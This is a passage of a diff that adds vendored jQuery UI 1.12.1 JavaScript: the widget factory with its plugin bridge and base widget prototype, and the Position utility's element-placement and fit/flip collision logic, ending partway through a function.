+//>>description: Provides a factory for creating stateful widgets with a common API.
+//>>docs: http://api.jqueryui.com/jQuery.widget/
+//>>demos: http://jqueryui.com/widget/
+
+
+
+var widgetUuid = 0;
+var widgetSlice = Array.prototype.slice;
+
+$.cleanData = ( function( orig ) {
+	return function( elems ) {
+		var events, elem, i;
+		for ( i = 0; ( elem = elems[ i ] ) != null; i++ ) {
+			try {
+
+				// Only trigger remove when necessary to save time
+				events = $._data( elem, "events" );
+				if ( events && events.remove ) {
+					$( elem ).triggerHandler( "remove" );
+				}
+
+			// Http://bugs.jquery.com/ticket/8235
+			} catch ( e ) {}
+		}
+		orig( elems );
+	};
+} )( $.cleanData );
+
+$.widget = function( name, base, prototype ) {
+	var existingConstructor, constructor, basePrototype;
+
+	// ProxiedPrototype allows the provided prototype to remain unmodified
+	// so that it can be used as a mixin for multiple widgets (#8876)
+	var proxiedPrototype = {};
+
+	var namespace = name.split( "." )[ 0 ];
+	name = name.split( "." )[ 1 ];
+	var fullName = namespace + "-" + name;
+
+	if ( !prototype ) {
+		prototype = base;
+		base = $.Widget;
+	}
+
+	if ( $.isArray( prototype ) ) {
+		prototype = $.extend.apply( null, [ {} ].concat( prototype ) );
+	}
+
+	// Create selector for plugin
+	$.expr[ ":" ][ fullName.toLowerCase() ] = function( elem ) {
+		return !!$.data( elem, fullName );
+	};
+
+	$[ namespace ] = $[ namespace ] || {};
+	existingConstructor = $[ namespace ][ name ];
+	constructor = $[ namespace ][ name ] = function( options, element ) {
+
+		// Allow instantiation without "new" keyword
+		if ( !this._createWidget ) {
+			return new constructor( options, element );
+		}
+
+		// Allow instantiation without initializing for simple inheritance
+		// must use "new" keyword (the code above always passes args)
+		if ( arguments.length ) {
+			this._createWidget( options, element );
+		}
+	};
+
+	// Extend with the existing constructor to carry over any static properties
+	$.extend( constructor, existingConstructor, {
+		version: prototype.version,
+
+		// Copy the object used to create the prototype in case we need to
+		// redefine the widget later
+		_proto: $.extend( {}, prototype ),
+
+		// Track widgets that inherit from this widget in case this widget is
+		// redefined after a widget inherits from it
+		_childConstructors: []
+	} );
+
+	basePrototype = new base();
+
+	// We need to make the options hash a property directly on the new instance
+	// otherwise we'll modify the options hash on the prototype that we're
+	// inheriting from
+	basePrototype.options = $.widget.extend( {}, basePrototype.options );
+	$.each( prototype, function( prop, value ) {
+		if ( !$.isFunction( value ) ) {
+			proxiedPrototype[ prop ] = value;
+			return;
+		}
+		proxiedPrototype[ prop ] = ( function() {
+			function _super() {
+				return base.prototype[ prop ].apply( this, arguments );
+			}
+
+			function _superApply( args ) {
+				return base.prototype[ prop ].apply( this, args );
+			}
+
+			return function() {
+				var __super = this._super;
+				var __superApply = this._superApply;
+				var returnValue;
+
+				this._super = _super;
+				this._superApply = _superApply;
+
+				returnValue = value.apply( this, arguments );
+
+				this._super = __super;
+				this._superApply = __superApply;
+
+				return returnValue;
+			};
+		} )();
+	} );
+	constructor.prototype = $.widget.extend( basePrototype, {
+
+		// TODO: remove support for widgetEventPrefix
+		// always use the name + a colon as the prefix, e.g., draggable:start
+		// don't prefix for widgets that aren't DOM-based
+		widgetEventPrefix: existingConstructor ? ( basePrototype.widgetEventPrefix || name ) : name
+	}, proxiedPrototype, {
+		constructor: constructor,
+		namespace: namespace,
+		widgetName: name,
+		widgetFullName: fullName
+	} );
+
+	// If this widget is being redefined then we need to find all widgets that
+	// are inheriting from it and redefine all of them so that they inherit from
+	// the new version of this widget. We're essentially trying to replace one
+	// level in the prototype chain.
+	if ( existingConstructor ) {
+		$.each( existingConstructor._childConstructors, function( i, child ) {
+			var childPrototype = child.prototype;
+
+			// Redefine the child widget using the same prototype that was
+			// originally used, but inherit from the new version of the base
+			$.widget( childPrototype.namespace + "." + childPrototype.widgetName, constructor,
+				child._proto );
+		} );
+
+		// Remove the list of existing child constructors from the old constructor
+		// so the old child constructors can be garbage collected
+		delete existingConstructor._childConstructors;
+	} else {
+		base._childConstructors.push( constructor );
+	}
+
+	$.widget.bridge( name, constructor );
+
+	return constructor;
+};
+
+$.widget.extend = function( target ) {
+	var input = widgetSlice.call( arguments, 1 );
+	var inputIndex = 0;
+	var inputLength = input.length;
+	var key;
+	var value;
+
+	for ( ; inputIndex < inputLength; inputIndex++ ) {
+		for ( key in input[ inputIndex ] ) {
+			value = input[ inputIndex ][ key ];
+			if ( input[ inputIndex ].hasOwnProperty( key ) && value !== undefined ) {
+
+				// Clone objects
+				if ( $.isPlainObject( value ) ) {
+					target[ key ] = $.isPlainObject( target[ key ] ) ?
+						$.widget.extend( {}, target[ key ], value ) :
+
+						// Don't extend strings, arrays, etc. with objects
+						$.widget.extend( {}, value );
+
+				// Copy everything else by reference
+				} else {
+					target[ key ] = value;
+				}
+			}
+		}
+	}
+	return target;
+};
+
+$.widget.bridge = function( name, object ) {
+	var fullName = object.prototype.widgetFullName || name;
+	$.fn[ name ] = function( options ) {
+		var isMethodCall = typeof options === "string";
+		var args = widgetSlice.call( arguments, 1 );
+		var returnValue = this;
+
+		if ( isMethodCall ) {
+
+			// If this is an empty collection, we need to have the instance method
+			// return undefined instead of the jQuery instance
+			if ( !this.length && options === "instance" ) {
+				returnValue = undefined;
+			} else {
+				this.each( function() {
+					var methodValue;
+					var instance = $.data( this, fullName );
+
+					if ( options === "instance" ) {
+						returnValue = instance;
+						return false;
+					}
+
+					if ( !instance ) {
+						return $.error( "cannot call methods on " + name +
+							" prior to initialization; " +
+							"attempted to call method '" + options + "'" );
+					}
+
+					if ( !$.isFunction( instance[ options ] ) || options.charAt( 0 ) === "_" ) {
+						return $.error( "no such method '" + options + "' for " + name +
+							" widget instance" );
+					}
+
+					methodValue = instance[ options ].apply( instance, args );
+
+					if ( methodValue !== instance && methodValue !== undefined ) {
+						returnValue = methodValue && methodValue.jquery ?
+							returnValue.pushStack( methodValue.get() ) :
+							methodValue;
+						return false;
+					}
+				} );
+			}
+		} else {
+
+			// Allow multiple hashes to be passed on init
+			if ( args.length ) {
+				options = $.widget.extend.apply( null, [ options ].concat( args ) );
+			}
+
+			this.each( function() {
+				var instance = $.data( this, fullName );
+				if ( instance ) {
+					instance.option( options || {} );
+					if ( instance._init ) {
+						instance._init();
+					}
+				} else {
+					$.data( this, fullName, new object( options, this ) );
+				}
+			} );
+		}
+
+		return returnValue;
+	};
+};
+
+$.Widget = function( /* options, element */ ) {};
+$.Widget._childConstructors = [];
+
+$.Widget.prototype = {
+	widgetName: "widget",
+	widgetEventPrefix: "",
+	defaultElement: "<div>",
+
+	options: {
+		classes: {},
+		disabled: false,
+
+		// Callbacks
+		create: null
+	},
+
+	_createWidget: function( options, element ) {
+		element = $( element || this.defaultElement || this )[ 0 ];
+		this.element = $( element );
+		this.uuid = widgetUuid++;
+		this.eventNamespace = "." + this.widgetName + this.uuid;
+
+		this.bindings = $();
+		this.hoverable = $();
+		this.focusable = $();
+		this.classesElementLookup = {};
+
+		if ( element !== this ) {
+			$.data( element, this.widgetFullName, this );
+			this._on( true, this.element, {
+				remove: function( event ) {
+					if ( event.target === element ) {
+						this.destroy();
+					}
+				}
+			} );
+			this.document = $( element.style ?
+
+				// Element within the document
+				element.ownerDocument :
+
+				// Element is window or document
+				element.document || element );
+			this.window = $( this.document[ 0 ].defaultView || this.document[ 0 ].parentWindow );
+		}
+
+		this.options = $.widget.extend( {},
+			this.options,
+			this._getCreateOptions(),
+			options );
+
+		this._create();
+
+		if ( this.options.disabled ) {
+			this._setOptionDisabled( this.options.disabled );
+		}
+
+		this._trigger( "create", null, this._getCreateEventData() );
+		this._init();
+	},
+
+	_getCreateOptions: function() {
+		return {};
+	},
+
+	_getCreateEventData: $.noop,
+
+	_create: $.noop,
+
+	_init: $.noop,
+
+	destroy: function() {
+		var that = this;
+
+		this._destroy();
+		$.each( this.classesElementLookup, function( key, value ) {
+			that._removeClass( value, key );
+		} );
+
+		// We can probably remove the unbind calls in 2.0
+		// all event bindings should go through this._on()
+		this.element
+			.off( this.eventNamespace )
+			.removeData( this.widgetFullName );
+		this.widget()
+			.off( this.eventNamespace )
+			.removeAttr( "aria-disabled" );
+
+		// Clean up events and states
+		this.bindings.off( this.eventNamespace );
+	},
+
+	_destroy: $.noop,
+
+	widget: function() {
+		return this.element;
+	},
+
+	option: function( key, value ) {
+		var options = key;
+		var parts;
+		var curOption;
+		var i;
+
+		if ( arguments.length === 0 ) {
+
+			// Don't return a reference to the internal hash
+			return $.widget.extend( {}, this.options );
+		}
+
+		if ( typeof key === "string" ) {
+
+			// Handle nested keys, e.g., "foo.bar" => { foo: { bar: ___ } }
+			options = {};
+			parts = key.split( "." );
+			key = parts.shift();
+			if ( parts.length ) {
+				curOption = options[ key ] = $.widget.extend( {}, this.options[ key ] );
+				for ( i = 0; i < parts.length - 1; i++ ) {
+					curOption[ parts[ i ] ] = curOption[ parts[ i ] ] || {};
+					curOption = curOption[ parts[ i ] ];
+				}
+				key = parts.pop();
+				if ( arguments.length === 1 ) {
+					return curOption[ key ] === undefined ? null : curOption[ key ];
+				}
+				curOption[ key ] = value;
+			} else {
+				if ( arguments.length === 1 ) {
+					return this.options[ key ] === undefined ? null : this.options[ key ];
+				}
+				options[ key ] = value;
+			}
+		}
+
+		this._setOptions( options );
+
+		return this;
+	},
+
+	_setOptions: function( options ) {
+		var key;
+
+		for ( key in options ) {
+			this._setOption( key, options[ key ] );
+		}
+
+		return this;
+	},
+
+	_setOption: function( key, value ) {
+		if ( key === "classes" ) {
+			this._setOptionClasses( value );
+		}
+
+		this.options[ key ] = value;
+
+		if ( key === "disabled" ) {
+			this._setOptionDisabled( value );
+		}
+
+		return this;
+	},
+
+	_setOptionClasses: function( value ) {
+		var classKey, elements, currentElements;
+
+		for ( classKey in value ) {
+			currentElements = this.classesElementLookup[ classKey ];
+			if ( value[ classKey ] === this.options.classes[ classKey ] ||
+					!currentElements ||
+					!currentElements.length ) {
+				continue;
+			}
+
+			// We are doing this to create a new jQuery object because the _removeClass() call
+			// on the next line is going to destroy the reference to the current elements being
+			// tracked. We need to save a copy of this collection so that we can add the new classes
+			// below.
+			elements = $( currentElements.get() );
+			this._removeClass( currentElements, classKey );
+
+			// We don't use _addClass() here, because that uses this.options.classes
+			// for generating the string of classes. We want to use the value passed in from
+			// _setOption(), this is the new value of the classes option which was passed to
+			// _setOption(). We pass this value directly to _classes().
+			elements.addClass( this._classes( {
+				element: elements,
+				keys: classKey,
+				classes: value,
+				add: true
+			} ) );
+		}
+	},
+
+	_setOptionDisabled: function( value ) {
+		this._toggleClass( this.widget(), this.widgetFullName + "-disabled", null, !!value );
+
+		// If the widget is becoming disabled, then nothing is interactive
+		if ( value ) {
+			this._removeClass( this.hoverable, null, "ui-state-hover" );
+			this._removeClass( this.focusable, null, "ui-state-focus" );
+		}
+	},
+
+	enable: function() {
+		return this._setOptions( { disabled: false } );
+	},
+
+	disable: function() {
+		return this._setOptions( { disabled: true } );
+	},
+
+	_classes: function( options ) {
+		var full = [];
+		var that = this;
+
+		options = $.extend( {
+			element: this.element,
+			classes: this.options.classes || {}
+		}, options );
+
+		function processClassString( classes, checkOption ) {
+			var current, i;
+			for ( i = 0; i < classes.length; i++ ) {
+				current = that.classesElementLookup[ classes[ i ] ] || $();
+				if ( options.add ) {
+					current = $( $.unique( current.get().concat( options.element.get() ) ) );
+				} else {
+					current = $( current.not( options.element ).get() );
+				}
+				that.classesElementLookup[ classes[ i ] ] = current;
+				full.push( classes[ i ] );
+				if ( checkOption && options.classes[ classes[ i ] ] ) {
+					full.push( options.classes[ classes[ i ] ] );
+				}
+			}
+		}
+
+		this._on( options.element, {
+			"remove": "_untrackClassesElement"
+		} );
+
+		if ( options.keys ) {
+			processClassString( options.keys.match( /\S+/g ) || [], true );
+		}
+		if ( options.extra ) {
+			processClassString( options.extra.match( /\S+/g ) || [] );
+		}
+
+		return full.join( " " );
+	},
+
+	_untrackClassesElement: function( event ) {
+		var that = this;
+		$.each( that.classesElementLookup, function( key, value ) {
+			if ( $.inArray( event.target, value ) !== -1 ) {
+				that.classesElementLookup[ key ] = $( value.not( event.target ).get() );
+			}
+		} );
+	},
+
+	_removeClass: function( element, keys, extra ) {
+		return this._toggleClass( element, keys, extra, false );
+	},
+
+	_addClass: function( element, keys, extra ) {
+		return this._toggleClass( element, keys, extra, true );
+	},
+
+	_toggleClass: function( element, keys, extra, add ) {
+		add = ( typeof add === "boolean" ) ? add : extra;
+		var shift = ( typeof element === "string" || element === null ),
+			options = {
+				extra: shift ? keys : extra,
+				keys: shift ? element : keys,
+				element: shift ? this.element : element,
+				add: add
+			};
+		options.element.toggleClass( this._classes( options ), add );
+		return this;
+	},
+
+	_on: function( suppressDisabledCheck, element, handlers ) {
+		var delegateElement;
+		var instance = this;
+
+		// No suppressDisabledCheck flag, shuffle arguments
+		if ( typeof suppressDisabledCheck !== "boolean" ) {
+			handlers = element;
+			element = suppressDisabledCheck;
+			suppressDisabledCheck = false;
+		}
+
+		// No element argument, shuffle and use this.element
+		if ( !handlers ) {
+			handlers = element;
+			element = this.element;
+			delegateElement = this.widget();
+		} else {
+			element = delegateElement = $( element );
+			this.bindings = this.bindings.add( element );
+		}
+
+		$.each( handlers, function( event, handler ) {
+			function handlerProxy() {
+
+				// Allow widgets to customize the disabled handling
+				// - disabled as an array instead of boolean
+				// - disabled class as method for disabling individual parts
+				if ( !suppressDisabledCheck &&
+						( instance.options.disabled === true ||
+						$( this ).hasClass( "ui-state-disabled" ) ) ) {
+					return;
+				}
+				return ( typeof handler === "string" ? instance[ handler ] : handler )
+					.apply( instance, arguments );
+			}
+
+			// Copy the guid so direct unbinding works
+			if ( typeof handler !== "string" ) {
+				handlerProxy.guid = handler.guid =
+					handler.guid || handlerProxy.guid || $.guid++;
+			}
+
+			var match = event.match( /^([\w:-]*)\s*(.*)$/ );
+			var eventName = match[ 1 ] + instance.eventNamespace;
+			var selector = match[ 2 ];
+
+			if ( selector ) {
+				delegateElement.on( eventName, selector, handlerProxy );
+			} else {
+				element.on( eventName, handlerProxy );
+			}
+		} );
+	},
+
+	_off: function( element, eventName ) {
+		eventName = ( eventName || "" ).split( " " ).join( this.eventNamespace + " " ) +
+			this.eventNamespace;
+		element.off( eventName ).off( eventName );
+
+		// Clear the stack to avoid memory leaks (#10056)
+		this.bindings = $( this.bindings.not( element ).get() );
+		this.focusable = $( this.focusable.not( element ).get() );
+		this.hoverable = $( this.hoverable.not( element ).get() );
+	},
+
+	_delay: function( handler, delay ) {
+		function handlerProxy() {
+			return ( typeof handler === "string" ? instance[ handler ] : handler )
+				.apply( instance, arguments );
+		}
+		var instance = this;
+		return setTimeout( handlerProxy, delay || 0 );
+	},
+
+	_hoverable: function( element ) {
+		this.hoverable = this.hoverable.add( element );
+		this._on( element, {
+			mouseenter: function( event ) {
+				this._addClass( $( event.currentTarget ), null, "ui-state-hover" );
+			},
+			mouseleave: function( event ) {
+				this._removeClass( $( event.currentTarget ), null, "ui-state-hover" );
+			}
+		} );
+	},
+
+	_focusable: function( element ) {
+		this.focusable = this.focusable.add( element );
+		this._on( element, {
+			focusin: function( event ) {
+				this._addClass( $( event.currentTarget ), null, "ui-state-focus" );
+			},
+			focusout: function( event ) {
+				this._removeClass( $( event.currentTarget ), null, "ui-state-focus" );
+			}
+		} );
+	},
+
+	_trigger: function( type, event, data ) {
+		var prop, orig;
+		var callback = this.options[ type ];
+
+		data = data || {};
+		event = $.Event( event );
+		event.type = ( type === this.widgetEventPrefix ?
+			type :
+			this.widgetEventPrefix + type ).toLowerCase();
+
+		// The original event may come from any element
+		// so we need to reset the target on the new event
+		event.target = this.element[ 0 ];
+
+		// Copy original event properties over to the new event
+		orig = event.originalEvent;
+		if ( orig ) {
+			for ( prop in orig ) {
+				if ( !( prop in event ) ) {
+					event[ prop ] = orig[ prop ];
+				}
+			}
+		}
+
+		this.element.trigger( event, data );
+		return !( $.isFunction( callback ) &&
+			callback.apply( this.element[ 0 ], [ event ].concat( data ) ) === false ||
+			event.isDefaultPrevented() );
+	}
+};
+
+$.each( { show: "fadeIn", hide: "fadeOut" }, function( method, defaultEffect ) {
+	$.Widget.prototype[ "_" + method ] = function( element, options, callback ) {
+		if ( typeof options === "string" ) {
+			options = { effect: options };
+		}
+
+		var hasOptions;
+		var effectName = !options ?
+			method :
+			options === true || typeof options === "number" ?
+				defaultEffect :
+				options.effect || defaultEffect;
+
+		options = options || {};
+		if ( typeof options === "number" ) {
+			options = { duration: options };
+		}
+
+		hasOptions = !$.isEmptyObject( options );
+		options.complete = callback;
+
+		if ( options.delay ) {
+			element.delay( options.delay );
+		}
+
+		if ( hasOptions && $.effects && $.effects.effect[ effectName ] ) {
+			element[ method ]( options );
+		} else if ( effectName !== method && element[ effectName ] ) {
+			element[ effectName ]( options.duration, options.easing, callback );
+		} else {
+			element.queue( function( next ) {
+				$( this )[ method ]();
+				if ( callback ) {
+					callback.call( element[ 0 ] );
+				}
+				next();
+			} );
+		}
+	};
+} );
+
+var widget = $.widget;
+
+
+/*!
+ * jQuery UI Position 1.12.1
+ * http://jqueryui.com
+ *
+ * Copyright jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ *
+ * http://api.jqueryui.com/position/
+ */
+
+//>>label: Position
+//>>group: Core
+//>>description: Positions elements relative to other elements.
+//>>docs: http://api.jqueryui.com/position/
+//>>demos: http://jqueryui.com/position/
+
+
+( function() {
+var cachedScrollbarWidth,
+	max = Math.max,
+	abs = Math.abs,
+	rhorizontal = /left|center|right/,
+	rvertical = /top|center|bottom/,
+	roffset = /[\+\-]\d+(\.[\d]+)?%?/,
+	rposition = /^\w+/,
+	rpercent = /%$/,
+	_position = $.fn.position;
+
+function getOffsets( offsets, width, height ) {
+	return [
+		parseFloat( offsets[ 0 ] ) * ( rpercent.test( offsets[ 0 ] ) ? width / 100 : 1 ),
+		parseFloat( offsets[ 1 ] ) * ( rpercent.test( offsets[ 1 ] ) ? height / 100 : 1 )
+	];
+}
+
+function parseCss( element, property ) {
+	return parseInt( $.css( element, property ), 10 ) || 0;
+}
+
+function getDimensions( elem ) {
+	var raw = elem[ 0 ];
+	if ( raw.nodeType === 9 ) {
+		return {
+			width: elem.width(),
+			height: elem.height(),
+			offset: { top: 0, left: 0 }
+		};
+	}
+	if ( $.isWindow( raw ) ) {
+		return {
+			width: elem.width(),
+			height: elem.height(),
+			offset: { top: elem.scrollTop(), left: elem.scrollLeft() }
+		};
+	}
+	if ( raw.preventDefault ) {
+		return {
+			width: 0,
+			height: 0,
+			offset: { top: raw.pageY, left: raw.pageX }
+		};
+	}
+	return {
+		width: elem.outerWidth(),
+		height: elem.outerHeight(),
+		offset: elem.offset()
+	};
+}
+
+$.position = {
+	scrollbarWidth: function() {
+		if ( cachedScrollbarWidth !== undefined ) {
+			return cachedScrollbarWidth;
+		}
+		var w1, w2,
+			div = $( "<div " +
+				"style='display:block;position:absolute;width:50px;height:50px;overflow:hidden;'>" +
+				"<div style='height:100px;width:auto;'></div></div>" ),
+			innerDiv = div.children()[ 0 ];
+
+		$( "body" ).append( div );
+		w1 = innerDiv.offsetWidth;
+		div.css( "overflow", "scroll" );
+
+		w2 = innerDiv.offsetWidth;
+
+		if ( w1 === w2 ) {
+			w2 = div[ 0 ].clientWidth;
+		}
+
+		div.remove();
+
+		return ( cachedScrollbarWidth = w1 - w2 );
+	},
+	getScrollInfo: function( within ) {
+		var overflowX = within.isWindow || within.isDocument ? "" :
+				within.element.css( "overflow-x" ),
+			overflowY = within.isWindow || within.isDocument ? "" :
+				within.element.css( "overflow-y" ),
+			hasOverflowX = overflowX === "scroll" ||
+				( overflowX === "auto" && within.width < within.element[ 0 ].scrollWidth ),
+			hasOverflowY = overflowY === "scroll" ||
+				( overflowY === "auto" && within.height < within.element[ 0 ].scrollHeight );
+		return {
+			width: hasOverflowY ? $.position.scrollbarWidth() : 0,
+			height: hasOverflowX ? $.position.scrollbarWidth() : 0
+		};
+	},
+	getWithinInfo: function( element ) {
+		var withinElement = $( element || window ),
+			isWindow = $.isWindow( withinElement[ 0 ] ),
+			isDocument = !!withinElement[ 0 ] && withinElement[ 0 ].nodeType === 9,
+			hasOffset = !isWindow && !isDocument;
+		return {
+			element: withinElement,
+			isWindow: isWindow,
+			isDocument: isDocument,
+			offset: hasOffset ? $( element ).offset() : { left: 0, top: 0 },
+			scrollLeft: withinElement.scrollLeft(),
+			scrollTop: withinElement.scrollTop(),
+			width: withinElement.outerWidth(),
+			height: withinElement.outerHeight()
+		};
+	}
+};
+
+$.fn.position = function( options ) {
+	if ( !options || !options.of ) {
+		return _position.apply( this, arguments );
+	}
+
+	// Make a copy, we don't want to modify arguments
+	options = $.extend( {}, options );
+
+	var atOffset, targetWidth, targetHeight, targetOffset, basePosition, dimensions,
+		target = $( options.of ),
+		within = $.position.getWithinInfo( options.within ),
+		scrollInfo = $.position.getScrollInfo( within ),
+		collision = ( options.collision || "flip" ).split( " " ),
+		offsets = {};
+
+	dimensions = getDimensions( target );
+	if ( target[ 0 ].preventDefault ) {
+
+		// Force left top to allow flipping
+		options.at = "left top";
+	}
+	targetWidth = dimensions.width;
+	targetHeight = dimensions.height;
+	targetOffset = dimensions.offset;
+
+	// Clone to reuse original targetOffset later
+	basePosition = $.extend( {}, targetOffset );
+
+	// Force my and at to have valid horizontal and vertical positions
+	// if a value is missing or invalid, it will be converted to center
+	$.each( [ "my", "at" ], function() {
+		var pos = ( options[ this ] || "" ).split( " " ),
+			horizontalOffset,
+			verticalOffset;
+
+		if ( pos.length === 1 ) {
+			pos = rhorizontal.test( pos[ 0 ] ) ?
+				pos.concat( [ "center" ] ) :
+				rvertical.test( pos[ 0 ] ) ?
+					[ "center" ].concat( pos ) :
+					[ "center", "center" ];
+		}
+		pos[ 0 ] = rhorizontal.test( pos[ 0 ] ) ? pos[ 0 ] : "center";
+		pos[ 1 ] = rvertical.test( pos[ 1 ] ) ? pos[ 1 ] : "center";
+
+		// Calculate offsets
+		horizontalOffset = roffset.exec( pos[ 0 ] );
+		verticalOffset = roffset.exec( pos[ 1 ] );
+		offsets[ this ] = [
+			horizontalOffset ? horizontalOffset[ 0 ] : 0,
+			verticalOffset ? verticalOffset[ 0 ] : 0
+		];
+
+		// Reduce to just the positions without the offsets
+		options[ this ] = [
+			rposition.exec( pos[ 0 ] )[ 0 ],
+			rposition.exec( pos[ 1 ] )[ 0 ]
+		];
+	} );
+
+	// Normalize collision option
+	if ( collision.length === 1 ) {
+		collision[ 1 ] = collision[ 0 ];
+	}
+
+	if ( options.at[ 0 ] === "right" ) {
+		basePosition.left += targetWidth;
+	} else if ( options.at[ 0 ] === "center" ) {
+		basePosition.left += targetWidth / 2;
+	}
+
+	if ( options.at[ 1 ] === "bottom" ) {
+		basePosition.top += targetHeight;
+	} else if ( options.at[ 1 ] === "center" ) {
+		basePosition.top += targetHeight / 2;
+	}
+
+	atOffset = getOffsets( offsets.at, targetWidth, targetHeight );
+	basePosition.left += atOffset[ 0 ];
+	basePosition.top += atOffset[ 1 ];
+
+	return this.each( function() {
+		var collisionPosition, using,
+			elem = $( this ),
+			elemWidth = elem.outerWidth(),
+			elemHeight = elem.outerHeight(),
+			marginLeft = parseCss( this, "marginLeft" ),
+			marginTop = parseCss( this, "marginTop" ),
+			collisionWidth = elemWidth + marginLeft + parseCss( this, "marginRight" ) +
+				scrollInfo.width,
+			collisionHeight = elemHeight + marginTop + parseCss( this, "marginBottom" ) +
+				scrollInfo.height,
+			position = $.extend( {}, basePosition ),
+			myOffset = getOffsets( offsets.my, elem.outerWidth(), elem.outerHeight() );
+
+		if ( options.my[ 0 ] === "right" ) {
+			position.left -= elemWidth;
+		} else if ( options.my[ 0 ] === "center" ) {
+			position.left -= elemWidth / 2;
+		}
+
+		if ( options.my[ 1 ] === "bottom" ) {
+			position.top -= elemHeight;
+		} else if ( options.my[ 1 ] === "center" ) {
+			position.top -= elemHeight / 2;
+		}
+
+		position.left += myOffset[ 0 ];
+		position.top += myOffset[ 1 ];
+
+		collisionPosition = {
+			marginLeft: marginLeft,
+			marginTop: marginTop
+		};
+
+		$.each( [ "left", "top" ], function( i, dir ) {
+			if ( $.ui.position[ collision[ i ] ] ) {
+				$.ui.position[ collision[ i ] ][ dir ]( position, {
+					targetWidth: targetWidth,
+					targetHeight: targetHeight,
+					elemWidth: elemWidth,
+					elemHeight: elemHeight,
+					collisionPosition: collisionPosition,
+					collisionWidth: collisionWidth,
+					collisionHeight: collisionHeight,
+					offset: [ atOffset[ 0 ] + myOffset[ 0 ], atOffset [ 1 ] + myOffset[ 1 ] ],
+					my: options.my,
+					at: options.at,
+					within: within,
+					elem: elem
+				} );
+			}
+		} );
+
+		if ( options.using ) {
+
+			// Adds feedback as second argument to using callback, if present
+			using = function( props ) {
+				var left = targetOffset.left - position.left,
+					right = left + targetWidth - elemWidth,
+					top = targetOffset.top - position.top,
+					bottom = top + targetHeight - elemHeight,
+					feedback = {
+						target: {
+							element: target,
+							left: targetOffset.left,
+							top: targetOffset.top,
+							width: targetWidth,
+							height: targetHeight
+						},
+						element: {
+							element: elem,
+							left: position.left,
+							top: position.top,
+							width: elemWidth,
+							height: elemHeight
+						},
+						horizontal: right < 0 ? "left" : left > 0 ? "right" : "center",
+						vertical: bottom < 0 ? "top" : top > 0 ? "bottom" : "middle"
+					};
+				if ( targetWidth < elemWidth && abs( left + right ) < targetWidth ) {
+					feedback.horizontal = "center";
+				}
+				if ( targetHeight < elemHeight && abs( top + bottom ) < targetHeight ) {
+					feedback.vertical = "middle";
+				}
+				if ( max( abs( left ), abs( right ) ) > max( abs( top ), abs( bottom ) ) ) {
+					feedback.important = "horizontal";
+				} else {
+					feedback.important = "vertical";
+				}
+				options.using.call( this, props, feedback );
+			};
+		}
+
+		elem.offset( $.extend( position, { using: using } ) );
+	} );
+};
+
+$.ui.position = {
+	fit: {
+		left: function( position, data ) {
+			var within = data.within,
+				withinOffset = within.isWindow ? within.scrollLeft : within.offset.left,
+				outerWidth = within.width,
+				collisionPosLeft = position.left - data.collisionPosition.marginLeft,
+				overLeft = withinOffset - collisionPosLeft,
+				overRight = collisionPosLeft + data.collisionWidth - outerWidth - withinOffset,
+				newOverRight;
+
+			// Element is wider than within
+			if ( data.collisionWidth > outerWidth ) {
+
+				// Element is initially over the left side of within
+				if ( overLeft > 0 && overRight <= 0 ) {
+					newOverRight = position.left + overLeft + data.collisionWidth - outerWidth -
+						withinOffset;
+					position.left += overLeft - newOverRight;
+
+				// Element is initially over right side of within
+				} else if ( overRight > 0 && overLeft <= 0 ) {
+					position.left = withinOffset;
+
+				// Element is initially over both left and right sides of within
+				} else {
+					if ( overLeft > overRight ) {
+						position.left = withinOffset + outerWidth - data.collisionWidth;
+					} else {
+						position.left = withinOffset;
+					}
+				}
+
+			// Too far left -> align with left edge
+			} else if ( overLeft > 0 ) {
+				position.left += overLeft;
+
+			// Too far right -> align with right edge
+			} else if ( overRight > 0 ) {
+				position.left -= overRight;
+
+			// Adjust based on position and margin
+			} else {
+				position.left = max( position.left - collisionPosLeft, position.left );
+			}
+		},
+		top: function( position, data ) {
+			var within = data.within,
+				withinOffset = within.isWindow ? within.scrollTop : within.offset.top,
+				outerHeight = data.within.height,
+				collisionPosTop = position.top - data.collisionPosition.marginTop,
+				overTop = withinOffset - collisionPosTop,
+				overBottom = collisionPosTop + data.collisionHeight - outerHeight - withinOffset,
+				newOverBottom;
+
+			// Element is taller than within
+			if ( data.collisionHeight > outerHeight ) {
+
+				// Element is initially over the top of within
+				if ( overTop > 0 && overBottom <= 0 ) {
+					newOverBottom = position.top + overTop + data.collisionHeight - outerHeight -
+						withinOffset;
+					position.top += overTop - newOverBottom;
+
+				// Element is initially over bottom of within
+				} else if ( overBottom > 0 && overTop <= 0 ) {
+					position.top = withinOffset;
+
+				// Element is initially over both top and bottom of within
+				} else {
+					if ( overTop > overBottom ) {
+						position.top = withinOffset + outerHeight - data.collisionHeight;
+					} else {
+						position.top = withinOffset;
+					}
+				}
+
+			// Too far up -> align with top
+			} else if ( overTop > 0 ) {
+				position.top += overTop;
+
+			// Too far down -> align with bottom edge
+			} else if ( overBottom > 0 ) {
+				position.top -= overBottom;
+
+			// Adjust based on position and margin
+			} else {
+				position.top = max( position.top - collisionPosTop, position.top );
+			}
+		}
+	},
+	flip: {
+		left: function( position, data ) {
+			var within = data.within,
+				withinOffset = within.offset.left + within.scrollLeft,
+				outerWidth = within.width,
+				offsetLeft = within.isWindow ? within.scrollLeft : within.offset.left,
+				collisionPosLeft = position.left - data.collisionPosition.marginLeft,
+				overLeft = collisionPosLeft - offsetLeft,
+				overRight = collisionPosLeft + data.collisionWidth - outerWidth - offsetLeft,
+				myOffset = data.my[ 0 ] === "left" ?
+					-data.elemWidth :
+					data.my[ 0 ] === "right" ?
+						data.elemWidth :
+						0,
+				atOffset = data.at[ 0 ] === "left" ?
+					data.targetWidth :
+					data.at[ 0 ] === "right" ?
+						-data.targetWidth :
+						0,
+				offset = -2 * data.offset[ 0 ],
+				newOverRight,
+				newOverLeft;
+
+			if ( overLeft < 0 ) {
+				newOverRight = position.left + myOffset + atOffset + offset + data.collisionWidth -
+					outerWidth - withinOffset;
+				if ( newOverRight < 0 || newOverRight < abs( overLeft ) ) {
+					position.left += myOffset + atOffset + offset;
+				}
+			} else if ( overRight > 0 ) {
+				newOverLeft = position.left - data.collisionPosition.marginLeft + myOffset +
+					atOffset + offset - offsetLeft;
+				if ( newOverLeft > 0 || abs( newOverLeft ) < overRight ) {
+					position.left += myOffset + atOffset + offset;
+				}
+			}
+		},
+		top: function( position, data ) {
+			var within = data.within,
+				withinOffset = within.offset.top + within.scrollTop,
+				outerHeight = within.height,
+				offsetTop = within.isWindow ? within.scrollTop : within.offset.top,
